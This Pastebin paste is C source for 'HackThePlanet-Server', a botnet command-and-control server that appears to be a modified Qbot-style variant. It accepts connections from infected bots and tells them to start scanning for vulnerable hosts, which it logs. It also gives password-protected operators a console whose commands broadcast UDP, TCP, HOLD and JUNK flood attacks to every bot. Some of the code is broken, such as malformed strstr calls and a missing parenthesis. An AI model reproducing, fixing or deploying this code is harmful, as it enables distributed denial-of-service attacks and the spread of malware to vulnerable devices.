ZucoCheezy

HackThePlanet-Server

Nov 29th, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.58 KB | None | 0 0
  1. //Modified by ~B1NARY~
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16.  
  17. ////////////////////////////////////
  18. #define MY_MGM_PORT 53
  19. #define MAXFDS 1000000
  20. ////////////////////////////////////
  21.  
  22. struct account {
  23.     char id[20];
  24.     char password[20];
  25. };
  26. static struct account accounts[10];
  27.  
  28. struct clientdata_t {
  29.         uint32_t ip;
  30.         char build[7];
  31.         char connected;
  32. } clients[MAXFDS];
  33.  
  34. struct telnetdata_t {
  35.         int connected;
  36. } managements[MAXFDS];
  37.  
  38.  
  39. ////////////////////////////////////
  40. static volatile FILE *fileFD;
  41. static volatile int epollFD = 0;
  42. static volatile int listenFD = 0;
  43. static volatile int managesConnected = 0;
  44. ////////////////////////////////////
  45.  
  46. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  47. {
  48.         int total = 0, got = 1;
  49.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  50.         return got;
  51. }
  52. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  53. {
  54.     int i;
  55.     int begin = 0;
  56.     int end = strlen(str) - 1;
  57.     while (isspace(str[begin])) begin++;
  58.     while ((end >= begin) && isspace(str[end])) end--;
  59.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  60.     str[i - begin] = '\0';
  61. }
  62.  
  63.  
  64. static int make_socket_non_blocking (int sfd)
  65. { // man fcntl
  66.         int flags, s;
  67.         flags = fcntl (sfd, F_GETFL, 0);
  68.         if (flags == -1)
  69.         {
  70.                 perror ("fcntl");
  71.                 return -1;
  72.         }
  73.         flags |= O_NONBLOCK;
  74.         s = fcntl (sfd, F_SETFL, flags);
  75.         if (s == -1)
  76.         {
  77.                 perror ("fcntl");
  78.                 return -1;
  79.         }
  80.         return 0;
  81. }
  82.  
  83.  
  84. static int create_and_bind (char *port)
  85. {
  86.         struct addrinfo hints;
  87.         struct addrinfo *result, *rp;
  88.         int s, sfd;
  89.         memset (&hints, 0, sizeof (struct addrinfo));
  90.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  91.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  92.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  93.         s = getaddrinfo (NULL, port, &hints, &result);
  94.         if (s != 0)
  95.         {
  96.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  97.                 return -1;
  98.         }
  99.         for (rp = result; rp != NULL; rp = rp->ai_next)
  100.         {
  101.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  102.                 if (sfd == -1) continue;
  103.                 int yes = 1;
  104.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  105.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  106.                 if (s == 0)
  107.                 {
  108.                         break;
  109.                 }
  110.                 close (sfd);
  111.         }
  112.         if (rp == NULL)
  113.         {
  114.                 fprintf (stderr, "Could not bind\n");
  115.                 return -1;
  116.         }
  117.         freeaddrinfo (result);
  118.         return sfd;
  119. }
  120. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  121. {
  122.         int sendMGM = 1;
  123.         if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  124.     char *wot = malloc(strlen(msg) + 10);
  125.         memset(wot, 0, strlen(msg) + 10);
  126.         strcpy(wot, msg);
  127.         trim(wot);
  128.         time_t rawtime;
  129.         struct tm * timeinfo;
  130.         time(&rawtime);
  131.         timeinfo = localtime(&rawtime);
  132.         char *timestamp = asctime(timeinfo);
  133.         trim(timestamp);
  134.         int i;
  135.         for(i = 0; i < MAXFDS; i++)
  136.         {
  137.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  138.                 if(sendMGM && managements[i].connected)
  139.  
  140.                 {
  141.  
  142. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  143.  
  144.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  145.  
  146. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  147.  
  148.                 } //just a prompt with a timestamp.
  149.                 printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  150.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  151.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  152.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  153.         }
  154.         free(wot);
  155. }
  156.  
  157. void *epollEventLoop(void *useless)
  158. {
  159.         struct epoll_event event;
  160.         struct epoll_event *events;
  161.         int s;
  162.         events = calloc (MAXFDS, sizeof event);
  163.         while (1)
  164.         {
  165.                 int n, i;
  166.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  167.                 for (i = 0; i < n; i++)
  168.                 {
  169.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  170.                         {
  171.                                 clients[events[i].data.fd].connected = 0;
  172.                                 close(events[i].data.fd);
  173.                                 continue;
  174.                         }
  175.                         else if (listenFD == events[i].data.fd)
  176.                         {
  177.                                 while (1)
  178.                                 {
  179.                                         struct sockaddr in_addr;
  180.                                         socklen_t in_len;
  181.                                         int infd, ipIndex;
  182.  
  183.                                         in_len = sizeof in_addr;
  184.                                         infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  185.                                         if (infd == -1)
  186.                                         {
  187.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  188.                                                 else
  189.                                                 {
  190.                                                         perror ("accept");
  191.                                                         break;
  192.                                                 }
  193.                                         }
  194.  
  195.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  196.  
  197.                                         int dup = 0;
  198.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  199.                                         {
  200.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  201.  
  202.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  203.                                                 {
  204.                                                         dup = 1;
  205.                                                         break;
  206.                                                 }
  207.                                         }
  208.  
  209.                                         if(dup)
  210.                                         {
  211.                                                 printf("dup client\n"); // warns the operator on command line
  212.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  213.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  214.                                                 close(infd);
  215.                                                 continue;
  216.                                         }
  217.  
  218.                                         s = make_socket_non_blocking (infd);
  219.                                         if (s == -1) { close(infd); break; }
  220.  
  221.                                         event.data.fd = infd;
  222.                                         event.events = EPOLLIN | EPOLLET;
  223.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  224.                                         if (s == -1)
  225.                                         {
  226.                                                 perror ("epoll_ctl");
  227.                                                 close(infd);
  228.                                                 break;
  229.                                         }
  230.  
  231.                                         clients[infd].connected = 1;
  232.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  233.                                 }
  234.                                 continue;
  235.                         }
  236.                         else
  237.                         {
  238.                                 int thefd = events[i].data.fd;
  239.                                 struct clientdata_t *client = &(clients[thefd]);
  240.                                 int done = 0;
  241.                                 client->connected = 1;
  242.                                 while (1)
  243.                                 {
  244.                                         ssize_t count;
  245.                                         char buf[2048];
  246.                                         memset(buf, 0, sizeof buf);
  247.  
  248.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  249.                                         {
  250.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  251.                                                 trim(buf);
  252.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  253.                                                 {
  254.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  255.                                                         continue;
  256.                                                 }
  257.                                                 if(strstr(buf, "BUILD ") == buf)
  258.                                                 {
  259.                                                         char *build = strstr(buf, "BUILD ") + 6;
  260.                                                         if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  261.                                                         memset(client->build, 0, 7);
  262.                                                         strcpy(client->build, build);
  263.                                                         continue;
  264.                                                 }
  265.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  266.                                                 {
  267.                                                         char *line = strstr(buf, "REPORT ") + 7;
  268.                                                         fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  269.                                                         fflush(fileFD);
  270. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  271.                                                         continue;
  272.                                                 }
  273.                                                 if(strcmp(buf, "PONG") == 0)
  274.                                                 {
  275.                                                         //should really add some checking or something but meh
  276.                                                         continue;
  277.                                                 }
  278.  
  279.                                                 printf("buf: \"%s\"\n", buf);
  280.                                         }
  281.  
  282.                                         if (count == -1)
  283.                                         {
  284.                                                 if (errno != EAGAIN)
  285.                                                 {
  286.                                                         done = 1;
  287.                                                 }
  288.                                                 break;
  289.                                         }
  290.                                         else if (count == 0)
  291.                                         {
  292.                                                 done = 1;
  293.                                                 break;
  294.                                         }
  295.                                 }
  296.  
  297.                                 if (done)
  298.                                 {
  299.                                         client->connected = 0;
  300.                                         close(thefd);
  301.                                 }
  302.                         }
  303.                 }
  304.         }
  305. }
  306.  
  307. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  308. {
  309.         int i = 0, total = 0;
  310.         for(i = 0; i < MAXFDS; i++)
  311.         {
  312.                 if(!clients[i].connected) continue;
  313.                 total++;
  314.         }
  315.  
  316.         return total;
  317. }
  318.  
  319. void *titleWriter(void *sock) // just an informational banner
  320. {
  321.         int thefd = (int)sock;
  322.         char string[2048];
  323.         while(1)
  324.         {
  325.                 memset(string, 0, 2048);
  326.                 sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  327.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  328.  
  329.                 sleep(2);
  330.         }
  331. }
  332.  
  333. int Search_in_File(char *str)
  334. {
  335.     FILE *fp;
  336.     int line_num = 0;
  337.     int find_result = 0, find_line=0;
  338.     char temp[512];
  339.  
  340.     if((fp = fopen("login.txt", "r")) == NULL){
  341.         return(-1);
  342.     }
  343.     while(fgets(temp, 512, fp) != NULL){
  344.         if((strstr(temp, str)) != NULL){
  345.             find_result++;
  346.             find_line = line_num;
  347.         }
  348.         line_num++;
  349.     }
  350.     if(fp)
  351.         fclose(fp);
  352.  
  353.     if(find_result == 0)return 0;
  354.  
  355.     return find_line;
  356. }
  357.  
  358.  
  359. void *telnetWorker(void *sock, void *telnetListener)
  360. {
  361.         int thefd = (int)sock;
  362.         int find_line;
  363.         managesConnected++;
  364.         pthread_t title;
  365.         char counter[2048];
  366.         memset(counter, 0, 2048);
  367.         char buf[2048];
  368.         char* nickstring;
  369.         char* username;
  370.         char* password;
  371.         memset(buf, 0, sizeof buf);
  372.         char botnet[2048];
  373.         memset(botnet, 0, 2048);
  374.    
  375.         //GET ACCOUNTS FROM FILE AND GIVE THEM MOTHERFUCKING IDZ
  376.         FILE *fp;
  377.         int i=0;
  378.         int c;
  379.         fp=fopen("login.txt", "r");
  380.         while(!feof(fp))
  381.         {
  382.                 c=fgetc(fp);
  383.                 ++i;
  384.         }
  385.         int j=0;
  386.         rewind(fp);
  387.         while(j!=i-1)
  388.         {
  389.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  390.             ++j;
  391.         }
  392.         //END FILE LOADING
  393.        
  394.         if(send(thefd, "\x1b[32m \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  395.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  396.         trim(buf);
  397.         nickstring = ("%s", buf);
  398.         find_line = Search_in_File(nickstring);
  399.         if(strcmp(nickstring, accounts[find_line].id) == 0){                   
  400.         if(send(thefd, "\x1b[32m \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  401.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  402.         trim(buf);
  403.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  404.         memset(buf, 0, 2048);
  405.         goto fak;
  406.         }
  407.         failed:
  408.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  409.         if(send(thefd, "\x1b[31m***         WRONG ANSWER BITCH       ***\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  410.         sleep(5);
  411.         goto end;
  412.         fak:
  413.         pthread_create(&title, NULL, &titleWriter, sock);
  414.         if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  415.         if(send(thefd, "*             HACK THE PLANET           *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  416.         if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
  417.         pthread_create(&title, NULL, &titleWriter, sock);
  418.         managements[thefd].connected = 1;
  419.        
  420.         while(fdgets(buf, sizeof buf, thefd) > 0)
  421.         {
  422.         if(strstr(buf, "!* BOTS","BOTS","bots","!* bots"))
  423.         {  
  424.             sprintf(botnet, "Bots connected: %d | Operators: %d\r\n", clientsConnected(), managesConnected);
  425.             if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  426.         }
  427.         if(strstr(buf, "!* HELP","!* help","HELP","help")
  428.         {
  429.             printf(botnet, "[~]                   AVALIABLE COMMANDS                    [~]\r\n");
  430.             printf(botnet, "\r\n");
  431.             printf(botnet, "        [+]                 ATTACK METHODS                  [+]\r\n");
  432.             printf(botnet, "            !* UDP IP PORT SECS 32 0 10 --  UDP ATTACK METHOD\r\n");
  433.             printf(botnet, "            !* TCP IP PORT SECS 32 0 10 --  TCP ATTACK METHOD\r\n");
  434.             printf(botnet, "            !* HOLD IP PORT SECS        --  HOLD ATTACK\r\n");
  435.             printf(botnet, "            !* JUNK IP PORT TIME        --  JUNK ATTACK\r\n");
  436.             printf(botnet, "\r\n");
  437.             printf(botnet, "        [+]                 OTHER COMMANDS                  [+]\r\n");
  438.             printf(botnet, "            !* KILLATTK                --  ENDS ATTACK\r\n");
  439.             printf(botnet, "            !* SCANNER ON              --  STARTS SCANNER\r\n");
  440.             printf(botnet, "            !* SCANNER OFF             --  STOPS SCANNER\r\n");
  441.             printf(botnet, "            !* PING                    --  PINGS AN IP\r\n");
  442.             printf(botnet, "            !* GETLOCALIP              --  GETS SERVER IP\r\n");
  443.             printf(botnet, "            !* LOLNOGTFO               --  CLEARS DUPLICATES\r\n");
  444.             printf(botnet, "            !* STATUS                  --  DEVICE COUNT\r\n");
  445.             printf(botnet, "            !* BOTS                    --  BOT COUNT\r\n");
  446.             printf(botnet, "            !* BOTS                    --  BOT COUNT\r\n");
  447.         }
  448.                 trim(buf);
  449.                 if(send(thefd, "\x1b[31m> \x1b[0m", 15, MSG_NOSIGNAL) == -1) goto end;
  450.                 if(strlen(buf) == 0) continue;
  451.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  452.                 FILE *logFile;
  453.                 logFile = fopen("server.log", "a");
  454.                 fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  455.                 fclose(logFile);
  456.                 broadcast(buf, thefd);
  457.                 memset(buf, 0, 2048);
  458.            }
  459.  
  460.         end:    // cleanup dead socket
  461.                 managements[thefd].connected = 0;
  462.                 close(thefd);
  463.                 managesConnected--;
  464. }
  465.  
  466. void *telnetListener(void *useless)
  467. {
  468.         int sockfd, newsockfd;
  469.         socklen_t clilen;
  470.         struct sockaddr_in serv_addr, cli_addr;
  471.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  472.         if (sockfd < 0) perror("ERROR opening socket");
  473.         bzero((char *) &serv_addr, sizeof(serv_addr));
  474.         serv_addr.sin_family = AF_INET;
  475.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  476.         serv_addr.sin_port = htons(MY_MGM_PORT);
  477.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  478.         listen(sockfd,5);
  479.         clilen = sizeof(cli_addr);
  480.         while(1)
  481.         {
  482.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  483.                 if (newsockfd < 0) perror("ERROR on accept");
  484.                 pthread_t thread;
  485.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  486.         }
  487. }
  488.  
  489. int main (int argc, char *argv[], void *sock)
  490. {
  491.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  492.  
  493.         int s, threads;
  494.         struct epoll_event event;
  495.  
  496.         if (argc != 3)
  497.         {
  498.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  499.                 exit (EXIT_FAILURE);
  500.         }
  501.         fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  502.         threads = atoi(argv[2]);
  503.  
  504.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  505.         if (listenFD == -1) abort ();
  506.  
  507.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  508.         if (s == -1) abort ();
  509.  
  510.  
  511.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  512.         if (s == -1)
  513.         {
  514.                 perror ("listen");
  515.                 abort ();
  516.         }
  517.  
  518.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  519.         if (epollFD == -1)
  520.         {
  521.                 perror ("epoll_create");
  522.                 abort ();
  523.         }
  524.  
  525.         event.data.fd = listenFD;
  526.         event.events = EPOLLIN | EPOLLET;
  527.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  528.         if (s == -1)
  529.         {
  530.                 perror ("epoll_ctl");
  531.                 abort ();
  532.         }
  533.  
  534.         pthread_t thread[threads + 2];
  535.         while(threads--)
  536.         {
  537.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  538.         }
  539.  
  540.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  541.  
  542.         while(1)
  543.         {
  544.                 broadcast("PING", -1); // ping bots every 60 sec on the main thread
  545.  
  546.                 sleep(60);
  547.         }
  548.  
  549.         close (listenFD);
  550.  
  551.         return EXIT_SUCCESS;
  552. }
Add Comment
Please, Sign In to add comment